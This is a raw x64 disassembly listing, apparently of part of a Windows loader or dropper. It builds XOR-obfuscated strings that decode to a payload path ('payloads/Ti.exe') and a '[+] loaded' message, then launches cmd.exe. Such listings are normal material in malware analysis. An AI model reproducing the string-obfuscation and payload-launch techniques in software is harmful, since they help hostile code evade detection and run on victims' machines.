lea rax, [rbp + 0x308]
mov qword [rbp + 0x5f8], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x108], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x118], xmm1
mov r8, qword [rbp + 0xd8]
lea rcx, [rbp + 0x108]
call fcn.14000f4a0
mov dword [rbp + 0x5f0], 0x3c
lea r9, [rbp + 0x108]
cmp qword [rbp + 0x120], 7
cmova r9, qword [rbp + 0x108]
lea r10, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 0xf
cmova r10, qword [rbp + 0xc8]
add r10, qword [rbp + 0xd8]
lea rdx, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 0xf
cmova rdx, qword [rbp + 0xc8]
mov r8, rdi
mov rcx, r10
sub rcx, rdx
cmp rdx, r10
cmova rcx, rdi
test rcx, rcx
je 0x1400098ff
cmp rcx, 0x20
jb 0x1400098ff
lea r11, [r9 - 2]
lea r11, [r11 + rcx*2]
lea rax, [rdx - 1]
add rax, rcx
cmp r9, rax
ja 0x14000989b
cmp r11, rdx
jae 0x1400098ff
and rcx, 0xffffffffffffffe0
nop
movq xmm0, qword [rdx]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movdqu xmmword [r9], xmm0
movq xmm0, qword [rdx + 8]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movdqu xmmword [r9 + 0x10], xmm0
movq xmm0, qword [rdx + 0x10]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movdqu xmmword [r9 + 0x20], xmm0
movq xmm0, qword [rdx + 0x18]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movdqu xmmword [r9 + 0x30], xmm0
add r9, 0x40
add rdx, 0x20
add r8, 0x20
cmp r8, rcx
jne 0x1400098a0
cmp rdx, r10
je 0x140009923
nop dword [rax]
nop dword [rax + rax]
movsx eax, byte [rdx]
mov word [r9], ax
lea r9, [r9 + 2]
inc rdx
cmp rdx, r10
jne 0x140009910
mov dword [rsp + 0x30], 0x12
mov eax, dword [rsp + 0x30]
xor al, 0x70
mov byte [rsp + 0x34], al
mov eax, dword [rsp + 0x30]
inc al
xor al, 0x61
mov byte [rsp + 0x35], al
mov eax, dword [rsp + 0x30]
add al, 2
xor al, 0x79
mov byte [rsp + 0x36], al
mov eax, dword [rsp + 0x30]
add al, 3
xor al, 0x6c
mov byte [rsp + 0x37], al
mov eax, dword [rsp + 0x30]
add al, 4
xor al, 0x6f
mov byte [rsp + 0x38], al
mov eax, dword [rsp + 0x30]
add al, 5
xor al, 0x61
mov byte [rsp + 0x39], al
mov eax, dword [rsp + 0x30]
add al, 6
xor al, 0x64
mov byte [rsp + 0x3a], al
mov eax, dword [rsp + 0x30]
add al, 7
xor al, 0x73
mov byte [rsp + 0x3b], al
mov eax, dword [rsp + 0x30]
add al, 8
xor al, 0x2f
mov byte [rsp + 0x3c], al
mov eax, dword [rsp + 0x30]
add al, 9
xor al, 0x54
mov byte [rsp + 0x3d], al
mov eax, dword [rsp + 0x30]
add al, 0xa
xor al, 0x69
mov byte [rsp + 0x3e], al
mov eax, dword [rsp + 0x30]
add al, 0xb
xor al, 0x2e
mov byte [rsp + 0x3f], al
mov eax, dword [rsp + 0x30]
add al, 0xc
xor al, 0x65
mov byte [rsp + 0x40], al
mov eax, dword [rsp + 0x30]
add al, 0xd
xor al, 0x78
mov byte [rsp + 0x41], al
mov eax, dword [rsp + 0x30]
add al, 0xe
xor al, 0x65
mov byte [rsp + 0x42], al
xor eax, eax
mov byte [rsp + 0x43], al
movzx eax, byte [rsp + 0x34]
mov rdx, rdi
nop dword [rax + rax]
movzx eax, byte [rsp + rdx + 0x34]
mov ecx, dword [rsp + 0x30]
add cl, dl
xor cl, al
mov byte [rsp + rdx + 0x34], cl
inc rdx
cmp rdx, 0xf
jb 0x1400099f0
mov byte [rsp + 0x43], 0
lea rdx, [rsp + 0x34]
lea rcx, [rbp + 0x308]
call fcn.140003870
mov rbx, rax
mov dword [rbp - 0x7c], 0x39
mov byte [rbp - 0x78], 0x4e
mov byte [rbp - 0x77], 0x58
mov byte [rbp - 0x76], 0x4b
mov byte [rbp - 0x75], 0x5d
mov byte [rbp - 0x74], 0x5c
mov byte [rbp - 0x73], 0x57
xor eax, eax
mov byte [rbp - 0x72], al
movzx ecx, byte [rbp - 0x78]
mov rdx, rdi
nop
movzx eax, byte [rbp + rdx - 0x78]
mov ecx, dword [rbp - 0x7c]
xor cl, al
mov byte [rbp + rdx - 0x78], cl
inc rdx
cmp rdx, 6
jb 0x140009a50
mov byte [rbp - 0x72], 0
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x328]
call fcn.140003870
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x288]
call fcn.14000b4c0
nop
mov rdx, rax
lea rcx, [rbp + 0x268]
call fcn.14000d600
nop
lea rdx, [rbp + 0x108]
cmp qword [rbp + 0x120], 7
cmova rdx, qword [rbp + 0x108]
cmp qword [rax + 0x18], 7
jbe 0x140009ac0
mov rax, qword [rax]
mov rcx, rax
call fcn.140006610
movzx ebx, al
mov rdx, qword [rbp + 0x280]
cmp rdx, 7
jbe 0x140009b14
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x268]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009b0f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009b0f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011f48
movdqa xmm0, xmmword [0x140018ef0]
movdqu xmmword [rbp + 0x278], xmm0
mov word [rbp + 0x268], di
mov rdx, qword [rbp + 0x2a0]
cmp rdx, 0xf
jbe 0x140009b6f
inc rdx
mov rcx, qword [rbp + 0x288]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009b6a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009b6a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011f48
movdqa xmm0, xmmword [0x140018f00]
movdqu xmmword [rbp + 0x298], xmm0
mov byte [rbp + 0x288], 0
mov rdx, qword [rbp + 0x120]
cmp rdx, 7
jbe 0x140009bcf
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009bca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009bca
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011f48
movdqa xmm0, xmmword [0x140018ef0]
movdqu xmmword [rbp + 0x118], xmm0
mov word [rbp + 0x108], di
test bl, bl
je 0x140009d14
lea r9, [rbp + 0xe8]
cmp qword [rbp + 0x100], 0xf
cmova r9, qword [rbp + 0xe8]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
lea r8, str.cmd.exe
lea rdx, [0x140017cb0]
xor ecx, ecx
call qword [0x14001eea8]
mov dword [rbp + 0x40], 3
mov byte [rbp + 0x44], 0x58
mov byte [rbp + 0x45], 0x28
mov byte [rbp + 0x46], 0x5e
mov byte [rbp + 0x47], 0x23
mov byte [rbp + 0x48], 0x6f
mov byte [rbp + 0x49], 0x6c
mov byte [rbp + 0x4a], 0x62
mov byte [rbp + 0x4b], 0x67
mov byte [rbp + 0x4c], 0x66
mov byte [rbp + 0x4d], 0x67
mov byte [rbp + 0x4e], 0x23
mov byte [rbp + 0x4f], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x50], 0x66
mov byte [rbp + 0x51], 0x64
mov byte [rbp + 0x52], 0x62
mov byte [rbp + 0x53], 0x6e
mov byte [rbp + 0x54], 0x66
mov byte [rbp + 0x55], 0x5c
mov byte [rbp + 0x56], WSAStartup
mov byte [rbp + 0x57], 0x66
mov byte [rbp + 0x58], WSACleanup
mov byte [rbp + 0x59], 0x75
mov byte [rbp + 0x5a], 0x6a
mov byte [rbp + 0x5b], 0x60
mov byte [rbp + 0x5c], 0x66
mov byte [rbp + 0x5d], 0x2d
mov byte [rbp + 0x5e], 0x66
mov byte [rbp + 0x5f], 0x7b
mov byte [rbp + 0x60], 0x66
mov byte [rbp + 0x61], 0x23
mov byte [rbp + 0x62], 0x65
mov byte [rbp + 0x63], WSACleanup
mov byte [rbp + 0x64], 0x6c
mov byte [rbp + 0x65], 0x6e
mov byte [rbp + 0x66], 0x23
mov byte [rbp + 0x67], WSAStartup
mov byte [rbp + 0x68], 0x66
mov byte [rbp + 0x69], WSACleanup
mov byte [rbp + 0x6a], 0x75
mov byte [rbp + 0x6b], 0x66
mov byte [rbp + 0x6c], WSACleanup
xor eax, eax
mov byte [rbp + 0x6d], al
movzx eax, byte [rbp + 0x44]
nop dword [rax + rax]
movzx eax, byte [rbp + rdi + 0x44]
mov ecx, dword [rbp + 0x40]
xor cl, al
mov byte [rbp + rdi + 0x44], cl
inc rdi
cmp rdi, 0x29
jb 0x140009ce0
mov byte [rbp + 0x6d], 0
lea rdx, [rbp + 0x44]
lea rcx, [rbp + 0x348]
call fcn.140003870
mov rcx, rax
call fcn.14000d080
nop
mov rdx, qword [rbp + 0x100]
cmp rdx, 0xf
jbe 0x140009d58
inc rdx
mov rcx, qword [rbp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009d53
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009d53
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011f48
movdqa xmm0, xmmword [0x140018f00]
movdqu xmmword [rbp + 0xf8], xmm0
mov byte [rbp + 0xe8], 0
mov rdx, qword [rbp + 0x2c0]
cmp rdx, 0xf
jbe 0x140009db4
inc rdx
mov rcx, qword [rbp + 0x2a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009dae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009dae
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011f48
nop
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0xf
jbe 0x140009e04
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009df3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009df3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011f48
jmp 0x140009e04
mov dword [0x14001eaf8], 1
mov rbx, qword [rsp + 0x700]
add rsp, 0x6c0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call fcn.1400031b0
nop
call fcn.140003110
int3